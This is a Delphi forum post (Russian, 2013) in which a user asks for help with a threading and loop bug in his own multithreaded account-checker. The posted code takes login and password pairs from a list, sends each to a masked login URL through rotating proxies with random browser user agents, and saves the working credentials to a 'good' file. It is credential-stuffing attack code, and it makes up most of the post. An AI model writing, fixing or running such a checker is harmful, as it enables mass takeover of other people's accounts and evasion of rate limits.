Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > [ "Начинающим" ]
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

 
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 16.06.2013, 12:34
Artem Klevakin Artem Klevakin вне форума
Прохожий
 
Регистрация: 16.06.2013
Сообщения: 2
Версия Delphi: delphi xe3
Репутация: 10
Печаль Помогите с циклом и потоками

Вот кусок кода
Код:
function TForm1.CheckAcc(login, passw, proxy, pport: string): integer;
var HTTP:TidHTTP; send:TStringList; pg:string;
begin
  HTTP:=TIdHTTP.Create(nil); //создаём компонент
  with HTTP do begin //устанавливаем настройки
    AllowCookies:=true; //включаем куки
    HandleRedirects:=false; //Запрещаем редирект на страницу
    ReadTimeout:=10000; //Тайм аут на соединение (типо чекер прокси)
    ProxyParams.ProxyServer:=proxy; //Присваиваем прокси хост
    ProxyParams.ProxyPort:=StrToInt(pport); //Присваиваем прокси порт
    randomize; //Рандомизируем числа
    Request.UserAgent:=UserAg[random(10)]; // Присваиваем User Agent (типо мы через браузер заходим)
  end;

  //формируем параметры для POST запроса
  Send:=TStringList.Create;
  Send.Add('loginForm_default_username='+login);
  Send.Add('loginForm_default_password='+passw);
  Send.Add('loginForm_default_login_submit=Вход');
  try //Перехват ошибок которые могут возникнуть во время отправки запроса
    HTTP.Request.Referer:='**********'; 
    pg:=HTTP.Post('***********', send); //Отправляем запрос
    result:=2;
    if pos('serverSelection' ,pg)<>0 then begin
   result:=1;
   end
   else
   result:=2;
  except
    if pos('serverSelection' ,pg)<>0 then begin
   result:=0;
   end;
  end;
  Send.Free; //Удаляем созданные ранее переменные
  HTTP.Free; //Удаляем созданные ранее компоненты
end;

constructor TBruteThread.Create(CreateSuspended: boolean);
begin
  inherited Create(CreateSuspended);
end;

procedure TBruteThread.Execute;
var rez:integer; ps, pp, slog, spass, sacc:string;
begin
  while work do begin //цикл будет длится до тех пор, пока work=true
    inc(tp); //Увеличиваем переменную TP на 1, если записать так inc(tp, 2) то увеличится на 2
    if tp=ProxyList.Count-1 then tp:=0; //Если конец списка, то идём с начала

    ps:=Copy(ProxyList[tp], 1, Pos(':',ProxyList[tp])-1); //Копируем адрес
    pp:=Copy(ProxyList[tp], Pos(':', ProxyList[tp])+1, Length(ProxyList[tp])); //Копируем порт

    sacc:=SourceList[0]; //Берём первый аккаунт
    SourceList.Delete(0); //Удаляем первый аккаунт дабы не засорял список.

    if SourceList.Count=0 then work:=false; //Если всё прошли то вырубаем цикл

    if pos(':', sacc)<>0 then begin //Если разделитель такой то
      slog:=Copy(sacc, 1, Pos(':',sacc)-1); //Копируем логин
      spass:=Copy(sacc, Pos(':', sacc)+1, Length(sacc)); //Копируем пароль
    end else begin //иначе
      slog:=Copy(sacc, 1, Pos(';',sacc)-1);
      spass:=Copy(sacc, Pos(';', sacc)+1, Length(sacc));
    end;

    //Дабы не писать всё тут - лучше создать отдельную функцию (можно даже в потоке)
    rez:=Form1.CheckAcc(slog, spass, ps, pp); //Вызываем функцию и результат записываем в переменную rez

      case rez of //Открываем переменную
        0:begin //Если в переменной 0 то
          //Добавляем аккаунт в конец списка что бы потом проверить ещё раз.
          SourceList.Add(slog+';'+spass);
          Form1.ErrorLabel.Caption:=IntToStr(StrToInt(Form1.ErrorLabel.Caption)+1); //Увеличиваем  Label с кол-вом ошибок
        end;

        1:begin //Если в переменной 1 то
          Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1); //Увеличиваем  Label с кол-вом гудов

          Append(GoodFile); //открываем файл
          Writeln(GoodFile, slog+';'+spass); //Добавляем строчку (знакомо с паскаля)
          Closefile(GoodFile); //Закрываем файл

          Form1.LogMemo.Lines.Add(slog+';'+spass); //Выводим аккаунт
          Form1.Proc.Progress:=Form1.Proc.Progress+1; //отображаем процесс
        end;

        2:begin //Если в переменной 2 то
          Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1); //Увеличиваем  Label с кол-вом bad'ов
          Form1.Proc.Progress:=Form1.Proc.Progress+1; //Продвигаемся =)
        end;
      end;
  end;
  Form1.LogMemo.Lines.Add('Success!'); //Если цикл закончился то выводим сообщение
end;


procedure TForm1.Button3Click(Sender: TObject);
var i:integer;
begin
tp:=-1; //Начинаем с первого прокси, ставим -1 т.к. будет inc() в начале
work:=true; //Включаем цикл
proc.MaxValue:=SourceList.Count-1; //Присваиваем общие кол-во аккаунтов
for I := 1 to spinedit1.Value do
begin
setlength(myt,i+1);
myt[i]:=TBruteThread.Create(False);
myt[i].Priority:=tpNormal;
myt[i].FreeOnTerminate:=true;
myt[i].Resume;
end;
end;

Так вот :
Цикл while заканчивает свою работу сам . Я его уже убирал .
Ставил for i:=0 to form1.liens.count -1 , а там было 900 строк и он не смог проверить даже 100 аккаунтов .Я уже не знаю , что делать

Кто желает помочь , то можно в скайп : klevakin.tema
Ответить с цитированием
 


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 18:23.


 

Сайт

Форум

FAQ

Соглашения

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2025